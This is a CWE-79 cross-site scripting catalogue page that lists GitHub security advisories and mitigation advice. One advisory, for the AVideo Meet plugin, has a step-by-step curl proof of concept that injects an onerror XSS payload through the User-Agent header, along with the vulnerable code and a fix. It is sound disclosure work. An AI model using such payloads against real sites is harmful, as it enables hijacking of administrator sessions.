CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
68644 vulnerabilities reference this CWE, most recent first.
GHSA-7CPP-G3W3-F6C5
Vulnerability from github – Published: 2024-07-21 09:30 – Updated: 2024-07-21 09:30Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in ArtistScope CopySafe Web Protection allows Stored XSS.This issue affects CopySafe Web Protection: from n/a through 3.14.
{
"affected": [],
"aliases": [
"CVE-2024-37514"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-21T08:15:04Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (XSS or \u0027Cross-site Scripting\u0027) vulnerability in ArtistScope CopySafe Web Protection allows Stored XSS.This issue affects CopySafe Web Protection: from n/a through 3.14.",
"id": "GHSA-7cpp-g3w3-f6c5",
"modified": "2024-07-21T09:30:32Z",
"published": "2024-07-21T09:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37514"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/wp-copysafe-web/wordpress-copysafe-web-protection-plugin-3-14-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7CQ2-3GXX-7647
Vulnerability from github – Published: 2022-05-02 06:20 – Updated: 2022-05-02 06:20Cross-site scripting (XSS) vulnerability in Sun Java System Communications Express 6.2 and 6.3 allows remote attackers to inject arbitrary web script or HTML via the subject field of a message, as demonstrated by a subject containing an IMG element with a SRC attribute that performs a cross-site request forgery (CSRF) attack involving the cmd and argv parameters to cmd.msc.
{
"affected": [],
"aliases": [
"CVE-2010-1227"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-04-01T22:30:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in Sun Java System Communications Express 6.2 and 6.3 allows remote attackers to inject arbitrary web script or HTML via the subject field of a message, as demonstrated by a subject containing an IMG element with a SRC attribute that performs a cross-site request forgery (CSRF) attack involving the cmd and argv parameters to cmd.msc.",
"id": "GHSA-7cq2-3gxx-7647",
"modified": "2022-05-02T06:20:14Z",
"published": "2022-05-02T06:20:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1227"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/42990"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/510154/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2011/0157"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7CQ8-PPVR-H6PR
Vulnerability from github – Published: 2024-10-03 21:31 – Updated: 2024-10-04 18:31Stored XSS, by authenticated users, is caused by poor sanitization of the Login Page Greeting message in DrayTek Vigor310 devices through 4.3.2.6.
{
"affected": [],
"aliases": [
"CVE-2024-41587"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-03T19:15:04Z",
"severity": "MODERATE"
},
"details": "Stored XSS, by authenticated users, is caused by poor sanitization of the Login Page Greeting message in DrayTek Vigor310 devices through 4.3.2.6.",
"id": "GHSA-7cq8-ppvr-h6pr",
"modified": "2024-10-04T18:31:10Z",
"published": "2024-10-03T21:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41587"
},
{
"type": "WEB",
"url": "https://www.forescout.com/resources/draybreak-draytek-research"
},
{
"type": "WEB",
"url": "https://www.forescout.com/resources/draytek14-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7CQC-8QW6-MJP9
Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-05-24 19:04PageLayer before 1.3.5 allows reflected XSS via color settings.
{
"affected": [],
"aliases": [
"CVE-2020-36384"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-07T11:15:00Z",
"severity": "MODERATE"
},
"details": "PageLayer before 1.3.5 allows reflected XSS via color settings.",
"id": "GHSA-7cqc-8qw6-mjp9",
"modified": "2022-05-24T19:04:16Z",
"published": "2022-05-24T19:04:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36384"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/blog/2020/12/reflected-xss-in-pagelayer-plugin-affects-over-200000-wordpress-sites"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7CQC-9QRM-Q9VH
Vulnerability from github – Published: 2024-03-20 15:32 – Updated: 2026-04-08 18:32The UX Flat plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'button' shortcode in all versions up to, and including, 4.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2024-2459"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-20T07:15:11Z",
"severity": "HIGH"
},
"details": "The UX Flat plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin\u0027s \u0027button\u0027 shortcode in all versions up to, and including, 4.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-7cqc-9qrm-q9vh",
"modified": "2026-04-08T18:32:47Z",
"published": "2024-03-20T15:32:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2459"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3064741"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/ux-flat"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1d93db2c-7baf-42d8-9b4a-be91b27221a7?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7CQP-7CFV-6C3Q
Vulnerability from github – Published: 2026-06-23 19:11 – Updated: 2026-06-23 20:41Summary
The Meet plugin stores the raw HTTP User-Agent header of every meeting participant and later renders it without output encoding in the meeting-management ("Participants") panel that the meeting host and site administrators open. An anonymous, unauthenticated attacker can join any public meeting while sending a User-Agent header containing an HTML payload. The payload is persisted in meet_join_log.user_agent and, when the host or an administrator opens the participant list, is injected verbatim into their DOM, executing attacker-controlled JavaScript in a privileged, authenticated session. This is a cross-privilege stored XSS: an anonymous visitor obtains script execution in the administrator's browser.
Affected versions
WWBN/AVideo at current master commit e8d6119f3cb1b849149906efeb0a41fc024f59f8 (and prior releases shipping the same code path). Not patched at the time of this report.
Privilege required
- Writer (attacker): unauthenticated / anonymous. Joining a public meeting requires no account and no password.
- Victim (trigger): the meeting host or any site administrator who opens the meeting's participant-management panel.
Vulnerable code (file:line)
The stored value is never sanitized on write, then echoed without encoding on read.
Write path — plugin/Meet/Objects/Meet_join_log.php:147:
public function setUser_agent($user_agent)
{
$this->user_agent = $user_agent;
}
Write path — plugin/Meet/Objects/Meet_join_log.php:177:
public static function log($meet_schedule_id)
{
$log = new Meet_join_log(0);
$log->setIp(getRealIpAddr());
$log->setMeet_schedule_id($meet_schedule_id);
$log->setUser_agent((isMobile() ? "Mobile: " : "") . get_browser_name());
$log->setUsers_id(User::getId());
return $log->save();
}
get_browser_name() (objects/functionsBrowser.php:239 and :242) returns the original-case User-Agent verbatim for any agent not matched to a known browser name:
return '[Bot] Other '.$user_agent;
}
//_error_log("Unknow user agent ($t) IP=" . getRealIpAddr() . " URI=" . getRequestURI());
return 'Other (Unknown) '.$user_agent;
Only the lowercased match copy is used for classification; the returned string still contains the raw, original $_SERVER['HTTP_USER_AGENT']. Because the value bypasses AVideo's object-setter sanitization layer (unlike Meet_schedule::setTopic(), which calls xss_esc()), the raw bytes reach the database unchanged.
Read path — plugin/Meet/getMeetInfo.json.php:71:
echo '<li class="list-group-item">#' . $count . " - " . User::getNameIdentificationById($value['users_id']) . ' <span class="badge">' . $value['created'] . '</span><br><small class="text-muted">' . $value['user_agent'] . '</small></li>';
$value['user_agent'] is concatenated into the HTML with no htmlspecialchars(). The reader endpoint is gated by Meet_schedule::canManageSchedule() (site admin OR the schedule owner), so the value is rendered in a privileged context.
How input reaches the sink
The join that records the log is reachable anonymously through plugin/Meet/iframe.php:11 and :17:
if (!Meet::validatePassword($meet_schedule_id, @$_REQUEST['meet_password'])) {
header("Location: {$global['webSiteRootURL']}plugin/Meet/confirmMeetPassword.php?meet_schedule_id=$meet_schedule_id");
exit;
}
$objLive = AVideoPlugin::getObjectData("Live");
Meet_join_log::log($meet_schedule_id);
For a public meeting (public = 2), Meet::validatePassword() returns true for an anonymous request (no password set), so Meet_join_log::log() runs and stores the attacker's User-Agent. On the read side, the host/admin opens the participant modal, whose JavaScript fetches getMeetInfo.json.php and injects the response with jQuery .html() in plugin/Meet/meet_scheduled.php:266:
success: function (response) {
if (response.error) {
avideoAlert("<?php echo __("Sorry!"); ?>", response.msg, "error");
} else {
$('#Meet_schedule2<?php echo $meet_scheduled, $manageMeetings; ?>Modal .modal-body').html(response.html);
}
.html(response.html) parses and inserts the attacker-controlled markup, so the injected onerror handler executes in the host/admin DOM.
Proof of concept — end-to-end reproduction (against pinned version)
Deployed against the project's official Docker stack (php8.5/apache2.4 + mariadb), pinned commit e8d6119f3cb1b849149906efeb0a41fc024f59f8. <TARGET> is the deployed host.
# 1. As the admin, create a PUBLIC meeting (public=2, no password):
curl -sk -H 'Host: <TARGET>' -H "Cookie: $ADMIN_SESSION" -H 'Referer: https://<TARGET>/' \
--data-urlencode 'RoomTopic=Demo' --data-urlencode 'public=2' --data-urlencode 'RoomPasswordNew=' \
'https://<TARGET>/plugin/Meet/saveMeet.json.php'
# Response: {"error":false,"meet_schedule_id":1, ...}
# 2. As an ANONYMOUS attacker (no cookie), join the meeting while sending an HTML
# payload in the User-Agent. The trailing token " http" forces get_browser_name()
# into the raw-reflecting "[Bot] Other" branch.
curl -sk -H 'Host: <TARGET>' -H 'Referer: https://<TARGET>/' \
-A '<img src=x onerror=alert(document.domain)> http' \
'https://<TARGET>/plugin/Meet/iframe.php?meet_schedule_id=1&meet_password='
# HTTP 200. Stored row: meet_join_log.user_agent =
# [Bot] Other <img src=x onerror=alert(document.domain)> http
# 3. As the host/admin, open the participant panel:
curl -sk -H 'Host: <TARGET>' -H "Cookie: $ADMIN_SESSION" -H 'Referer: https://<TARGET>/plugin/Meet/' \
'https://<TARGET>/plugin/Meet/getMeetInfo.json.php?meet_schedule_id=1'
The JSON html field contains the payload unescaped:
<small class="text-muted">[Bot] Other <img src=x onerror=alert(document.domain)> http</small>
When the admin opens the participant modal in a browser, jQuery .html(response.html) injects this markup and the onerror handler executes in the admin's authenticated session, printing document.domain.
Negative control: joining with a benign browser User-Agent (Mozilla/5.0 (Windows NT 10.0) Chrome/120.0 Safari/537.36) causes get_browser_name() to return Chrome, which renders as plain text <small class="text-muted">Chrome</small> with no markup injection.
Impact
- Cross-privilege stored XSS: an unauthenticated, anonymous visitor achieves JavaScript execution in the meeting host's and site administrator's authenticated browser sessions.
- Full account-takeover surface: theft of the admin session, CSRF-token exfiltration, and arbitrary authenticated actions (user and permission changes, plugin configuration) performed as the administrator.
- The payload persists in the database and fires for every privileged user who reviews the participant list of the affected meeting.
Suggested fix
Encode the stored value at the sink in plugin/Meet/getMeetInfo.json.php:71:
. '</span><br><small class="text-muted">' . htmlspecialchars($value['user_agent'], ENT_QUOTES, 'UTF-8') . '</small></li>';
Defense in depth: sanitize the value on write in Meet_join_log::setUser_agent(), mirroring the setter-layer encoding used by Meet_schedule::setTopic() (xss_esc()), so any other current or future reader of meet_join_log.user_agent is also protected.
Fix PR
A fix is provided on the advisory's private temporary fork: WWBN/AVideo-ghsa-7cqp-7cfv-6c3q#1 (encodes the participant User-Agent at the sink with htmlspecialchars($value['user_agent'], ENT_QUOTES, 'UTF-8')).
Credit
Reported by tonghuaroot.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T19:11:27Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe Meet plugin stores the raw HTTP `User-Agent` header of every meeting participant and later renders it without output encoding in the meeting-management (\"Participants\") panel that the meeting host and site administrators open. An anonymous, unauthenticated attacker can join any public meeting while sending a `User-Agent` header containing an HTML payload. The payload is persisted in `meet_join_log.user_agent` and, when the host or an administrator opens the participant list, is injected verbatim into their DOM, executing attacker-controlled JavaScript in a privileged, authenticated session. This is a cross-privilege stored XSS: an anonymous visitor obtains script execution in the administrator\u0027s browser.\n\n### Affected versions\n\n`WWBN/AVideo` at current `master` commit `e8d6119f3cb1b849149906efeb0a41fc024f59f8` (and prior releases shipping the same code path). Not patched at the time of this report.\n\n### Privilege required\n\n- **Writer (attacker):** unauthenticated / anonymous. Joining a public meeting requires no account and no password.\n- **Victim (trigger):** the meeting host or any site administrator who opens the meeting\u0027s participant-management panel.\n\n### Vulnerable code (file:line)\n\nThe stored value is never sanitized on write, then echoed without encoding on read.\n\nWrite path \u2014 `plugin/Meet/Objects/Meet_join_log.php:147`:\n\n```php\n public function setUser_agent($user_agent)\n {\n $this-\u003euser_agent = $user_agent;\n }\n```\n\nWrite path \u2014 `plugin/Meet/Objects/Meet_join_log.php:177`:\n\n```php\n public static function log($meet_schedule_id)\n {\n $log = new Meet_join_log(0);\n $log-\u003esetIp(getRealIpAddr());\n $log-\u003esetMeet_schedule_id($meet_schedule_id);\n $log-\u003esetUser_agent((isMobile() ? \"Mobile: \" : \"\") . get_browser_name());\n $log-\u003esetUsers_id(User::getId());\n return $log-\u003esave();\n }\n```\n\n`get_browser_name()` (`objects/functionsBrowser.php:239` and `:242`) returns the original-case `User-Agent` verbatim for any agent not matched to a known browser name:\n\n```php\n return \u0027[Bot] Other \u0027.$user_agent;\n }\n //_error_log(\"Unknow user agent ($t) IP=\" . getRealIpAddr() . \" URI=\" . getRequestURI());\n return \u0027Other (Unknown) \u0027.$user_agent;\n```\n\nOnly the lowercased match copy is used for classification; the returned string still contains the raw, original `$_SERVER[\u0027HTTP_USER_AGENT\u0027]`. Because the value bypasses AVideo\u0027s object-setter sanitization layer (unlike `Meet_schedule::setTopic()`, which calls `xss_esc()`), the raw bytes reach the database unchanged.\n\nRead path \u2014 `plugin/Meet/getMeetInfo.json.php:71`:\n\n```php\n echo \u0027\u003cli class=\"list-group-item\"\u003e#\u0027 . $count . \" - \" . User::getNameIdentificationById($value[\u0027users_id\u0027]) . \u0027 \u003cspan class=\"badge\"\u003e\u0027 . $value[\u0027created\u0027] . \u0027\u003c/span\u003e\u003cbr\u003e\u003csmall class=\"text-muted\"\u003e\u0027 . $value[\u0027user_agent\u0027] . \u0027\u003c/small\u003e\u003c/li\u003e\u0027;\n```\n\n`$value[\u0027user_agent\u0027]` is concatenated into the HTML with no `htmlspecialchars()`. The reader endpoint is gated by `Meet_schedule::canManageSchedule()` (site admin OR the schedule owner), so the value is rendered in a privileged context.\n\n### How input reaches the sink\n\nThe join that records the log is reachable anonymously through `plugin/Meet/iframe.php:11` and `:17`:\n\n```php\nif (!Meet::validatePassword($meet_schedule_id, @$_REQUEST[\u0027meet_password\u0027])) {\n header(\"Location: {$global[\u0027webSiteRootURL\u0027]}plugin/Meet/confirmMeetPassword.php?meet_schedule_id=$meet_schedule_id\");\n exit;\n}\n$objLive = AVideoPlugin::getObjectData(\"Live\");\nMeet_join_log::log($meet_schedule_id);\n```\n\nFor a public meeting (`public = 2`), `Meet::validatePassword()` returns `true` for an anonymous request (no password set), so `Meet_join_log::log()` runs and stores the attacker\u0027s `User-Agent`. On the read side, the host/admin opens the participant modal, whose JavaScript fetches `getMeetInfo.json.php` and injects the response with jQuery `.html()` in `plugin/Meet/meet_scheduled.php:266`:\n\n```js\n success: function (response) {\n if (response.error) {\n avideoAlert(\"\u003c?php echo __(\"Sorry!\"); ?\u003e\", response.msg, \"error\");\n } else {\n $(\u0027#Meet_schedule2\u003c?php echo $meet_scheduled, $manageMeetings; ?\u003eModal .modal-body\u0027).html(response.html);\n }\n```\n\n`.html(response.html)` parses and inserts the attacker-controlled markup, so the injected `onerror` handler executes in the host/admin DOM.\n\n### Proof of concept \u2014 end-to-end reproduction (against pinned version)\n\nDeployed against the project\u0027s official Docker stack (php8.5/apache2.4 + mariadb), pinned commit `e8d6119f3cb1b849149906efeb0a41fc024f59f8`. `\u003cTARGET\u003e` is the deployed host.\n\n```bash\n# 1. As the admin, create a PUBLIC meeting (public=2, no password):\ncurl -sk -H \u0027Host: \u003cTARGET\u003e\u0027 -H \"Cookie: $ADMIN_SESSION\" -H \u0027Referer: https://\u003cTARGET\u003e/\u0027 \\\n --data-urlencode \u0027RoomTopic=Demo\u0027 --data-urlencode \u0027public=2\u0027 --data-urlencode \u0027RoomPasswordNew=\u0027 \\\n \u0027https://\u003cTARGET\u003e/plugin/Meet/saveMeet.json.php\u0027\n# Response: {\"error\":false,\"meet_schedule_id\":1, ...}\n\n# 2. As an ANONYMOUS attacker (no cookie), join the meeting while sending an HTML\n# payload in the User-Agent. The trailing token \" http\" forces get_browser_name()\n# into the raw-reflecting \"[Bot] Other\" branch.\ncurl -sk -H \u0027Host: \u003cTARGET\u003e\u0027 -H \u0027Referer: https://\u003cTARGET\u003e/\u0027 \\\n -A \u0027\u003cimg src=x onerror=alert(document.domain)\u003e http\u0027 \\\n \u0027https://\u003cTARGET\u003e/plugin/Meet/iframe.php?meet_schedule_id=1\u0026meet_password=\u0027\n# HTTP 200. Stored row: meet_join_log.user_agent =\n# [Bot] Other \u003cimg src=x onerror=alert(document.domain)\u003e http\n\n# 3. As the host/admin, open the participant panel:\ncurl -sk -H \u0027Host: \u003cTARGET\u003e\u0027 -H \"Cookie: $ADMIN_SESSION\" -H \u0027Referer: https://\u003cTARGET\u003e/plugin/Meet/\u0027 \\\n \u0027https://\u003cTARGET\u003e/plugin/Meet/getMeetInfo.json.php?meet_schedule_id=1\u0027\n```\n\nThe JSON `html` field contains the payload **unescaped**:\n\n```html\n\u003csmall class=\"text-muted\"\u003e[Bot] Other \u003cimg src=x onerror=alert(document.domain)\u003e http\u003c/small\u003e\n```\n\nWhen the admin opens the participant modal in a browser, jQuery `.html(response.html)` injects this markup and the `onerror` handler executes in the admin\u0027s authenticated session, printing `document.domain`.\n\n**Negative control:** joining with a benign browser `User-Agent` (`Mozilla/5.0 (Windows NT 10.0) Chrome/120.0 Safari/537.36`) causes `get_browser_name()` to return `Chrome`, which renders as plain text `\u003csmall class=\"text-muted\"\u003eChrome\u003c/small\u003e` with no markup injection.\n\n### Impact\n\n- Cross-privilege stored XSS: an unauthenticated, anonymous visitor achieves JavaScript execution in the meeting host\u0027s and site administrator\u0027s authenticated browser sessions.\n- Full account-takeover surface: theft of the admin session, CSRF-token exfiltration, and arbitrary authenticated actions (user and permission changes, plugin configuration) performed as the administrator.\n- The payload persists in the database and fires for every privileged user who reviews the participant list of the affected meeting.\n\n### Suggested fix\n\nEncode the stored value at the sink in `plugin/Meet/getMeetInfo.json.php:71`:\n\n```php\n. \u0027\u003c/span\u003e\u003cbr\u003e\u003csmall class=\"text-muted\"\u003e\u0027 . htmlspecialchars($value[\u0027user_agent\u0027], ENT_QUOTES, \u0027UTF-8\u0027) . \u0027\u003c/small\u003e\u003c/li\u003e\u0027;\n```\n\nDefense in depth: sanitize the value on write in `Meet_join_log::setUser_agent()`, mirroring the setter-layer encoding used by `Meet_schedule::setTopic()` (`xss_esc()`), so any other current or future reader of `meet_join_log.user_agent` is also protected.\n\n### Fix PR\n\nA fix is provided on the advisory\u0027s private temporary fork: `WWBN/AVideo-ghsa-7cqp-7cfv-6c3q#1` (encodes the participant `User-Agent` at the sink with `htmlspecialchars($value[\u0027user_agent\u0027], ENT_QUOTES, \u0027UTF-8\u0027)`).\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-7cqp-7cfv-6c3q",
"modified": "2026-06-23T20:41:56Z",
"published": "2026-06-23T19:11:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-7cqp-7cfv-6c3q"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel"
}
GHSA-7CR4-32JG-HWX2
Vulnerability from github – Published: 2023-12-18 21:30 – Updated: 2023-12-21 21:30The Autocomplete Location field Contact Form 7 WordPress plugin before 3.0, autocomplete-location-field-contact-form-7-pro WordPress plugin before 2.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)
{
"affected": [],
"aliases": [
"CVE-2023-5005"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-18T20:15:08Z",
"severity": "MODERATE"
},
"details": "The Autocomplete Location field Contact Form 7 WordPress plugin before 3.0, autocomplete-location-field-contact-form-7-pro WordPress plugin before 2.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)",
"id": "GHSA-7cr4-32jg-hwx2",
"modified": "2023-12-21T21:30:29Z",
"published": "2023-12-18T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5005"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/bfb174d4-7658-4883-a682-d06bda89ec44"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7CR7-56VR-QH9G
Vulnerability from github – Published: 2025-12-13 18:30 – Updated: 2025-12-13 18:30The All-in-One Addons for Elementor – WidgetKit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Team and Countdown widgets in all versions up to, and including, 2.5.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2025-8779"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-13T16:16:56Z",
"severity": "MODERATE"
},
"details": "The All-in-One Addons for Elementor \u2013 WidgetKit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin\u0027s Team and Countdown widgets in all versions up to, and including, 2.5.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-7cr7-56vr-qh9g",
"modified": "2025-12-13T18:30:22Z",
"published": "2025-12-13T18:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8779"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3378162%40widgetkit-for-elementor\u0026new=3378162%40widgetkit-for-elementor\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/widgetkit-for-elementor/#developers"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/dbbdf433-8589-4f5f-b73d-2dba58f684a7?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7CRC-G9GH-WQX2
Vulnerability from github – Published: 2022-05-17 02:24 – Updated: 2022-05-17 02:24A vulnerability in several parameters of the ccmivr page of Cisco Unified Communication Manager (CallManager) could allow an unauthenticated, remote attacker to launch a cross-site scripting (XSS) attack against a user of the web interface on the affected system. More Information: CSCvb37121. Known Affected Releases: 11.5(1.2). Known Fixed Releases: 11.5(1.11950.96) 11.5(1.12900.2) 12.0(0.98000.133) 12.0(0.98000.313) 12.0(0.98000.404).
{
"affected": [],
"aliases": [
"CVE-2016-6472"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-11-19T03:03:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in several parameters of the ccmivr page of Cisco Unified Communication Manager (CallManager) could allow an unauthenticated, remote attacker to launch a cross-site scripting (XSS) attack against a user of the web interface on the affected system. More Information: CSCvb37121. Known Affected Releases: 11.5(1.2). Known Fixed Releases: 11.5(1.11950.96) 11.5(1.12900.2) 12.0(0.98000.133) 12.0(0.98000.313) 12.0(0.98000.404).",
"id": "GHSA-7crc-g9gh-wqx2",
"modified": "2022-05-17T02:24:38Z",
"published": "2022-05-17T02:24:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6472"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161116-ucm"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/94364"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1037305"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7CRC-MM89-H2V3
Vulnerability from github – Published: 2024-06-12 06:30 – Updated: 2024-07-03 18:44The ARForms - Premium WordPress Form Builder Plugin WordPress plugin before 6.4.1 does not properly escape user-controlled input when it is reflected in some of its AJAX actions.
{
"affected": [],
"aliases": [
"CVE-2024-0427"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-12T06:15:08Z",
"severity": "MODERATE"
},
"details": "The ARForms - Premium WordPress Form Builder Plugin WordPress plugin before 6.4.1 does not properly escape user-controlled input when it is reflected in some of its AJAX actions.",
"id": "GHSA-7crc-mm89-h2v3",
"modified": "2024-07-03T18:44:58Z",
"published": "2024-06-12T06:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0427"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/1806fef3-d774-46e0-aa48-7a101495f4eb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
